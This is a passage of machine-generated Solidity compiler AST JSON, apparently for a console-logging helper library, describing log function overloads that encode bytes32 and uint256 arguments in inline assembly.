src":"365239:2:22","valueSize":1},{"declaration":45602,"isOffset":false,"isSlot":false,"src":"365269:2:22","valueSize":1}],"id":45610,"nodeType":"InlineAssembly","src":"365000:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"363761:3:22","parameters":{"id":45575,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45568,"mutability":"mutable","name":"p0","nameLocation":"363773:2:22","nodeType":"VariableDeclaration","scope":45612,"src":"363765:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45567,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363765:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45570,"mutability":"mutable","name":"p1","nameLocation":"363785:2:22","nodeType":"VariableDeclaration","scope":45612,"src":"363777:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45569,"name":"uint256","nodeType":"ElementaryTypeName","src":"363777:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45572,"mutability":"mutable","name":"p2","nameLocation":"363797:2:22","nodeType":"VariableDeclaration","scope":45612,"src":"363789:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45571,"name":"uint256","nodeType":"ElementaryTypeName","src":"363789:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45574,"mutability":"mutable","name":"p3","nameLocation":"363809:2:22","nodeType":"VariableDeclaration","scope":45612,"src":"363801:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45573,"name":"bytes32","nodeType":"ElementaryTypeName","src":"363801:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"363764:48:22"},"returnParameters":{"id":45576,"nodeType":"ParameterList","parameters":[],"src":"363827:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45658,"nodeType":"FunctionDefinition","src":"365294:1536:22","nodes":[],"body":{"id":45657,"nodeType":"Block","src":"365369:1461:22","nodes":[],"statements":[{"assignments":[45624],"declarations":[{"constant":false,"id":45624,"mutability":"mutable","name":"m0","nameLocation":"365387:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365379:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45623,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365379:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45625,"nodeType":"VariableDeclarationStatement","src":"365379:10:22"},{"assignments":[45627],"declarations":[{"constant":false,"id":45627,"mutability":"mutable","name":"m1","nameLocation":"365407:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365399:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45626,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365399:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45628,"nodeType":"VariableDeclarationStatement","src":"365399:10:22"},{"assignments":[45630],"declarations":[{"constant":false,"id":45630,"mutability":"mutable","name":"m2","nameLocation":"365427:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365419:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45629,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365419:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45631,"nodeType":"VariableDeclarationStatement","src":"365419:10:22"},{"assignments":[45633],"declarations":[{"constant":false,"id":45633,"mutability":"mutable","name":"m3","nameLocation":"365447:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365439:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45632,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365439:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45634,"nodeType":"VariableDeclarationStatement","src":"365439:10:22"},{"assignments":[45636],"declarations":[{"constant":false,"id":45636,"mutability":"mutable","name":"m4","nameLocation":"365467:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365459:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45635,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365459:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45637,"nodeType":"VariableDeclarationStatement","src":"365459:10:22"},{"assignments":[45639],"declarations":[{"constant":false,"id":45639,"mutability":"mutable","name":"m5","nameLocation":"365487:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365479:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45638,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365479:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45640,"nodeType":"VariableDeclarationStatement","src":"365479:10:22"},{"assignments":[45642],"declarations":[{"constant":false,"id":45642,"mutability":"mutable","name":"m6","nameLocation":"365507:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365499:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45641,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365499:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45643,"nodeType":"VariableDeclarationStatement","src":"365499:10:22"},{"assignments":[45645],"declarations":[{"constant":false,"id":45645,"mutability":"mutable","name":"m7","nameLocation":"365527:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365519:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45644,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365519:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45646,"nodeType":"VariableDeclarationStatement","src":"365519:10:22"},{"assignments":[45648],"declarations":[{"constant":false,"id":45648,"mutability":"mutable","name":"m8","nameLocation":"365547:2:22","nodeType":"VariableDeclaration","scope":45657,"src":"365539:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45647,"name":"bytes32","nodeType":"ElementaryTypeName","src":"365539:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45649,"nodeType":"VariableDeclarationStatement","src":"365539:10:22"},{"AST":{"nativeSrc":"365568:927:22","nodeType":"YulBlock","src":"365568:927:22","statements":[{"body":{"nativeSrc":"365611:313:22","nodeType":"YulBlock","src":"365611:313:22","statements":[{"nativeSrc":"365629:15:22","nodeType":"YulVariableDeclaration","src":"365629:15:22","value":{"kind":"number","nativeSrc":"365643:1:22","nodeType":"YulLiteral","src":"365643:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"365633:6:22","nodeType":"YulTypedName","src":"365633:6:22","type":""}]},{"body":{"nativeSrc":"365714:40:22","nodeType":"YulBlock","src":"365714:40:22","statements":[{"body":{"nativeSrc":"365743:9:22","nodeType":"YulBlock","src":"365743:9:22","statements":[{"nativeSrc":"365745:5:22","nodeType":"YulBreak","src":"365745:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"365731:6:22","nodeType":"YulIdentifier","src":"365731:6:22"},{"name":"w","nativeSrc":"365739:1:22","nodeType":"YulIdentifier","src":"365739:1:22"}],"functionName":{"name":"byte","nativeSrc":"365726:4:22","nodeType":"YulIdentifier","src":"365726:4:22"},"nativeSrc":"365726:15:22","nodeType":"YulFunctionCall","src":"365726:15:22"}],"functionName":{"name":"iszero","nativeSrc":"365719:6:22","nodeType":"YulIdentifier","src":"365719:6:22"},"nativeSrc":"365719:23:22","nodeType":"YulFunctionCall","src":"365719:23:22"},"nativeSrc":"365716:36:22","nodeType":"YulIf","src":"365716:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"365671:6:22","nodeType":"YulIdentifier","src":"365671:6:22"},{"kind":"number","nativeSrc":"365679:4:22","nodeType":"YulLiteral","src":"365679:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"365668:2:22","nodeType":"YulIdentifier","src":"365668:2:22"},"nativeSrc":"365668:16:22","nodeType":"YulFunctionCall","src":"365668:16:22"},"nativeSrc":"365661:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"365685:28:22","nodeType":"YulBlock","src":"365685:28:22","statements":[{"nativeSrc":"365687:24:22","nodeType":"YulAssignment","src":"365687:24:22","value":{"arguments":[{"name":"length","nativeSrc":"365701:6:22","nodeType":"YulIdentifier","src":"365701:6:22"},{"kind":"number","nativeSrc":"365709:1:22","nodeType":"YulLiteral","src":"365709:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"365697:3:22","nodeType":"YulIdentifier","src":"365697:3:22"},"nativeSrc":"365697:14:22","nodeType":"YulFunctionCall","src":"365697:14:22"},"variableNames":[{"name":"length","nativeSrc":"365687:6:22","nodeType":"YulIdentifier","src":"365687:6:22"}]}]},"pre":{"nativeSrc":"365665:2:22","nodeType":"YulBlock","src":"365665:2:22","statements":[]},"src":"365661:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"365778:3:22","nodeType":"YulIdentifier","src":"365778:3:22"},{"name":"length","nativeSrc":"365783:6:22","nodeType":"YulIdentifier","src":"365783:6:22"}],"functionName":{"name":"mstore","nativeSrc":"365771:6:22","nodeType":"YulIdentifier","src":"365771:6:22"},"nativeSrc":"365771:19:22","nodeType":"YulFunctionCall","src":"365771:19:22"},"nativeSrc":"365771:19:22","nodeType":"YulExpressionStatement","src":"365771:19:22"},{"nativeSrc":"365807:37:22","nodeType":"YulVariableDeclaration","src":"365807:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"365824:3:22","nodeType":"YulLiteral","src":"365824:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"365833:1:22","nodeType":"YulLiteral","src":"365833:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"365836:6:22","nodeType":"YulIdentifier","src":"365836:6:22"}],"functionName":{"name":"shl","nativeSrc":"365829:3:22","nodeType":"YulIdentifier","src":"365829:3:22"},"nativeSrc":"365829:14:22","nodeType":"YulFunctionCall","src":"365829:14:22"}],"functionName":{"name":"sub","nativeSrc":"365820:3:22","nodeType":"YulIdentifier","src":"365820:3:22"},"nativeSrc":"365820:24:22","nodeType":"YulFunctionCall","src":"365820:24:22"},"variables":[{"name":"shift","nativeSrc":"365811:5:22","nodeType":"YulTypedName","src":"365811:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"365872:3:22","nodeType":"YulIdentifier","src":"365872:3:22"},{"kind":"number","nativeSrc":"365877:4:22","nodeType":"YulLiteral","src":"365877:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"365868:3:22","nodeType":"YulIdentifier","src":"365868:3:22"},"nativeSrc":"365868:14:22","nodeType":"YulFunctionCall","src":"365868:14:22"},{"arguments":[{"name":"shift","nativeSrc":"365888:5:22","nodeType":"YulIdentifier","src":"365888:5:22"},{"arguments":[{"name":"shift","nativeSrc":"365899:5:22","nodeType":"YulIdentifier","src":"365899:5:22"},{"name":"w","nativeSrc":"365906:1:22","nodeType":"YulIdentifier","src":"365906:1:22"}],"functionName":{"name":"shr","nativeSrc":"365895:3:22","nodeType":"YulIdentifier","src":"365895:3:22"},"nativeSrc":"365895:13:22","nodeType":"YulFunctionCall","src":"365895:13:22"}],"functionName":{"name":"shl","nativeSrc":"365884:3:22","nodeType":"YulIdentifier","src":"365884:3:22"},"nativeSrc":"365884:25:22","nodeType":"YulFunctionCall","src":"365884:25:22"}],"functionName":{"name":"mstore","nativeSrc":"365861:6:22","nodeType":"YulIdentifier","src":"365861:6:22"},"nativeSrc":"365861:49:22","nodeType":"YulFunctionCall","src":"365861:49:22"},"nativeSrc":"365861:49:22","nodeType":"YulExpressionStatement","src":"365861:49:22"}]},"name":"writeString","nativeSrc":"365582:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"365603:3:22","nodeType":"YulTypedName","src":"365603:3:22","type":""},{"name":"w","nativeSrc":"365608:1:22","nodeType":"YulTypedName","src":"365608:1:22","type":""}],"src":"365582:342:22"},{"nativeSrc":"365937:17:22","nodeType":"YulAssignment","src":"365937:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"365949:4:22","nodeType":"YulLiteral","src":"365949:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"365943:5:22","nodeType":"YulIdentifier","src":"365943:5:22"},"nativeSrc":"365943:11:22","nodeType":"YulFunctionCall","src":"365943:11:22"},"variableNames":[{"name":"m0","nativeSrc":"365937:2:22","nodeType":"YulIdentifier","src":"365937:2:22"}]},{"nativeSrc":"365967:17:22","nodeType":"YulAssignment","src":"365967:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"365979:4:22","nodeType":"YulLiteral","src":"365979:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"365973:5:22","nodeType":"YulIdentifier","src":"365973:5:22"},"nativeSrc":"365973:11:22","nodeType":"YulFunctionCall","src":"365973:11:22"},"variableNames":[{"name":"m1","nativeSrc":"365967:2:22","nodeType":"YulIdentifier","src":"365967:2:22"}]},{"nativeSrc":"365997:17:22","nodeType":"YulAssignment","src":"365997:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"366009:4:22","nodeType":"YulLiteral","src":"366009:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"366003:5:22","nodeType":"YulIdentifier","src":"366003:5:22"},"nativeSrc":"366003:11:22","nodeType":"YulFunctionCall","src":"366003:11:22"},"variableNames":[{"name":"m2","nativeSrc":"365997:2:22","nodeType":"YulIdentifier","src":"365997:2:22"}]},{"nativeSrc":"366027:17:22","nodeType":"YulAssignment","src":"366027:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"366039:4:22","nodeType":"YulLiteral","src":"366039:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"366033:5:22","nodeType":"YulIdentifier","src":"366033:5:22"},"nativeSrc":"366033:11:22","nodeType":"YulFunctionCall","src":"366033:11:22"},"variableNames":[{"name":"m3","nativeSrc":"366027:2:22","nodeType":"YulIdentifier","src":"366027:2:22"}]},{"nativeSrc":"366057:17:22","nodeType":"YulAssignment","src":"366057:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"366069:4:22","nodeType":"YulLiteral","src":"366069:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"366063:5:22","nodeType":"YulIdentifier","src":"366063:5:22"},"nativeSrc":"366063:11:22","nodeType":"YulFunctionCall","src":"366063:11:22"},"variableNames":[{"name":"m4","nativeSrc":"366057:2:22","nodeType":"YulIdentifier","src":"366057:2:22"}]},{"nativeSrc":"366087:17:22","nodeType":"YulAssignment","src":"366087:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"366099:4:22","nodeType":"YulLiteral","src":"366099:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"366093:5:22","nodeType":"YulIdentifier","src":"366093:5:22"},"nativeSrc":"366093:11:22","nodeType":"YulFunctionCall","src":"366093:11:22"},"variableNames":[{"name":"m5","nativeSrc":"366087:2:22","nodeType":"YulIdentifier","src":"366087:2:22"}]},{"nativeSrc":"366117:17:22","nodeType":"YulAssignment","src":"366117:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"366129:4:22","nodeType":"YulLiteral","src":"366129:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"366123:5:22","nodeType":"YulIdentifier","src":"366123:5:22"},"nativeSrc":"366123:11:22","nodeType":"YulFunctionCall","src":"366123:11:22"},"variableNames":[{"name":"m6","nativeSrc":"366117:2:22","nodeType":"YulIdentifier","src":"366117:2:22"}]},{"nativeSrc":"366147:17:22","nodeType":"YulAssignment","src":"366147:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"366159:4:22","nodeType":"YulLiteral","src":"366159:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"366153:5:22","nodeType":"YulIdentifier","src":"366153:5:22"},"nativeSrc":"366153:11:22","nodeType":"YulFunctionCall","src":"366153:11:22"},"variableNames":[{"name":"m7","nativeSrc":"366147:2:22","nodeType":"YulIdentifier","src":"366147:2:22"}]},{"nativeSrc":"366177:18:22","nodeType":"YulAssignment","src":"366177:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"366189:5:22","nodeType":"YulLiteral","src":"366189:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"366183:5:22","nodeType":"YulIdentifier","src":"366183:5:22"},"nativeSrc":"366183:12:22","nodeType":"YulFunctionCall","src":"366183:12:22"},"variableNames":[{"name":"m8","nativeSrc":"366177:2:22","nodeType":"YulIdentifier","src":"366177:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366280:4:22","nodeType":"YulLiteral","src":"366280:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"366286:10:22","nodeType":"YulLiteral","src":"366286:10:22","type":"","value":"0x7c4632a4"}],"functionName":{"name":"mstore","nativeSrc":"366273:6:22","nodeType":"YulIdentifier","src":"366273:6:22"},"nativeSrc":"366273:24:22","nodeType":"YulFunctionCall","src":"366273:24:22"},"nativeSrc":"366273:24:22","nodeType":"YulExpressionStatement","src":"366273:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366317:4:22","nodeType":"YulLiteral","src":"366317:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"366323:4:22","nodeType":"YulLiteral","src":"366323:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"366310:6:22","nodeType":"YulIdentifier","src":"366310:6:22"},"nativeSrc":"366310:18:22","nodeType":"YulFunctionCall","src":"366310:18:22"},"nativeSrc":"366310:18:22","nodeType":"YulExpressionStatement","src":"366310:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366348:4:22","nodeType":"YulLiteral","src":"366348:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"366354:2:22","nodeType":"YulIdentifier","src":"366354:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366341:6:22","nodeType":"YulIdentifier","src":"366341:6:22"},"nativeSrc":"366341:16:22","nodeType":"YulFunctionCall","src":"366341:16:22"},"nativeSrc":"366341:16:22","nodeType":"YulExpressionStatement","src":"366341:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366377:4:22","nodeType":"YulLiteral","src":"366377:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"366383:4:22","nodeType":"YulLiteral","src":"366383:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"366370:6:22","nodeType":"YulIdentifier","src":"366370:6:22"},"nativeSrc":"366370:18:22","nodeType":"YulFunctionCall","src":"366370:18:22"},"nativeSrc":"366370:18:22","nodeType":"YulExpressionStatement","src":"366370:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366408:4:22","nodeType":"YulLiteral","src":"366408:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"366414:2:22","nodeType":"YulIdentifier","src":"366414:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366401:6:22","nodeType":"YulIdentifier","src":"366401:6:22"},"nativeSrc":"366401:16:22","nodeType":"YulFunctionCall","src":"366401:16:22"},"nativeSrc":"366401:16:22","nodeType":"YulExpressionStatement","src":"366401:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366442:4:22","nodeType":"YulLiteral","src":"366442:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"366448:2:22","nodeType":"YulIdentifier","src":"366448:2:22"}],"functionName":{"name":"writeString","nativeSrc":"366430:11:22","nodeType":"YulIdentifier","src":"366430:11:22"},"nativeSrc":"366430:21:22","nodeType":"YulFunctionCall","src":"366430:21:22"},"nativeSrc":"366430:21:22","nodeType":"YulExpressionStatement","src":"366430:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366476:4:22","nodeType":"YulLiteral","src":"366476:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"366482:2:22","nodeType":"YulIdentifier","src":"366482:2:22"}],"functionName":{"name":"writeString","nativeSrc":"366464:11:22","nodeType":"YulIdentifier","src":"366464:11:22"},"nativeSrc":"366464:21:22","nodeType":"YulFunctionCall","src":"366464:21:22"},"nativeSrc":"366464:21:22","nodeType":"YulExpressionStatement","src":"366464:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45624,"isOffset":false,"isSlot":false,"src":"365937:2:22","valueSize":1},{"declaration":45627,"isOffset":false,"isSlot":false,"src":"365967:2:22","valueSize":1},{"declaration":45630,"isOffset":false,"isSlot":false,"src":"365997:2:22","valueSize":1},{"declaration":45633,"isOffset":false,"isSlot":false,"src":"366027:2:22","valueSize":1},{"declaration":45636,"isOffset":false,"isSlot":false,"src":"366057:2:22","valueSize":1},{"declaration":45639,"isOffset":false,"isSlot":false,"src":"366087:2:22","valueSize":1},{"declaration":45642,"isOffset":false,"isSlot":false,"src":"366117:2:22","valueSize":1},{"declaration":45645,"isOffset":false,"isSlot":false,"src":"366147:2:22","valueSize":1},{"declaration":45648,"isOffset":false,"isSlot":false,"src":"366177:2:22","valueSize":1},{"declaration":45614,"isOffset":false,"isSlot":false,"src":"366448:2:22","valueSize":1},{"declaration":45616,"isOffset":false,"isSlot":false,"src":"366354:2:22","valueSize":1},{"declaration":45618,"isOffset":false,"isSlot":false,"src":"366482:2:22","valueSize":1},{"declaration":45620,"isOffset":false,"isSlot":false,"src":"366414:2:22","valueSize":1}],"id":45650,"nodeType":"InlineAssembly","src":"365559:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"366520:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45653,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"366526:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45651,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"366504:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45654,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"366504:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45655,"nodeType":"ExpressionStatement","src":"366504:28:22"},{"AST":{"nativeSrc":"366551:273:22","nodeType":"YulBlock","src":"366551:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"366572:4:22","nodeType":"YulLiteral","src":"366572:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"366578:2:22","nodeType":"YulIdentifier","src":"366578:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366565:6:22","nodeType":"YulIdentifier","src":"366565:6:22"},"nativeSrc":"366565:16:22","nodeType":"YulFunctionCall","src":"366565:16:22"},"nativeSrc":"366565:16:22","nodeType":"YulExpressionStatement","src":"366565:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366601:4:22","nodeType":"YulLiteral","src":"366601:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"366607:2:22","nodeType":"YulIdentifier","src":"366607:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366594:6:22","nodeType":"YulIdentifier","src":"366594:6:22"},"nativeSrc":"366594:16:22","nodeType":"YulFunctionCall","src":"366594:16:22"},"nativeSrc":"366594:16:22","nodeType":"YulExpressionStatement","src":"366594:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366630:4:22","nodeType":"YulLiteral","src":"366630:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"366636:2:22","nodeType":"YulIdentifier","src":"366636:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366623:6:22","nodeType":"YulIdentifier","src":"366623:6:22"},"nativeSrc":"366623:16:22","nodeType":"YulFunctionCall","src":"366623:16:22"},"nativeSrc":"366623:16:22","nodeType":"YulExpressionStatement","src":"366623:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366659:4:22","nodeType":"YulLiteral","src":"366659:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"366665:2:22","nodeType":"YulIdentifier","src":"366665:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366652:6:22","nodeType":"YulIdentifier","src":"366652:6:22"},"nativeSrc":"366652:16:22","nodeType":"YulFunctionCall","src":"366652:16:22"},"nativeSrc":"366652:16:22","nodeType":"YulExpressionStatement","src":"366652:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366688:4:22","nodeType":"YulLiteral","src":"366688:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"366694:2:22","nodeType":"YulIdentifier","src":"366694:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366681:6:22","nodeType":"YulIdentifier","src":"366681:6:22"},"nativeSrc":"366681:16:22","nodeType":"YulFunctionCall","src":"366681:16:22"},"nativeSrc":"366681:16:22","nodeType":"YulExpressionStatement","src":"366681:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366717:4:22","nodeType":"YulLiteral","src":"366717:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"366723:2:22","nodeType":"YulIdentifier","src":"366723:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366710:6:22","nodeType":"YulIdentifier","src":"366710:6:22"},"nativeSrc":"366710:16:22","nodeType":"YulFunctionCall","src":"366710:16:22"},"nativeSrc":"366710:16:22","nodeType":"YulExpressionStatement","src":"366710:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366746:4:22","nodeType":"YulLiteral","src":"366746:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"366752:2:22","nodeType":"YulIdentifier","src":"366752:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366739:6:22","nodeType":"YulIdentifier","src":"366739:6:22"},"nativeSrc":"366739:16:22","nodeType":"YulFunctionCall","src":"366739:16:22"},"nativeSrc":"366739:16:22","nodeType":"YulExpressionStatement","src":"366739:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366775:4:22","nodeType":"YulLiteral","src":"366775:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"366781:2:22","nodeType":"YulIdentifier","src":"366781:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366768:6:22","nodeType":"YulIdentifier","src":"366768:6:22"},"nativeSrc":"366768:16:22","nodeType":"YulFunctionCall","src":"366768:16:22"},"nativeSrc":"366768:16:22","nodeType":"YulExpressionStatement","src":"366768:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"366804:5:22","nodeType":"YulLiteral","src":"366804:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"366811:2:22","nodeType":"YulIdentifier","src":"366811:2:22"}],"functionName":{"name":"mstore","nativeSrc":"366797:6:22","nodeType":"YulIdentifier","src":"366797:6:22"},"nativeSrc":"366797:17:22","nodeType":"YulFunctionCall","src":"366797:17:22"},"nativeSrc":"366797:17:22","nodeType":"YulExpressionStatement","src":"366797:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45624,"isOffset":false,"isSlot":false,"src":"366578:2:22","valueSize":1},{"declaration":45627,"isOffset":false,"isSlot":false,"src":"366607:2:22","valueSize":1},{"declaration":45630,"isOffset":false,"isSlot":false,"src":"366636:2:22","valueSize":1},{"declaration":45633,"isOffset":false,"isSlot":false,"src":"366665:2:22","valueSize":1},{"declaration":45636,"isOffset":false,"isSlot":false,"src":"366694:2:22","valueSize":1},{"declaration":45639,"isOffset":false,"isSlot":false,"src":"366723:2:22","valueSize":1},{"declaration":45642,"isOffset":false,"isSlot":false,"src":"366752:2:22","valueSize":1},{"declaration":45645,"isOffset":false,"isSlot":false,"src":"366781:2:22","valueSize":1},{"declaration":45648,"isOffset":false,"isSlot":false,"src":"366811:2:22","valueSize":1}],"id":45656,"nodeType":"InlineAssembly","src":"366542:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name"